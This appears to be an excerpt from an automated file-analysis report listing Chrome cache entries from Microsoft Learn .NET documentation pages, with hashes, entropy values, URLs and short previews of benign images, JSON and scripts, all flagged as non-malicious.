Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
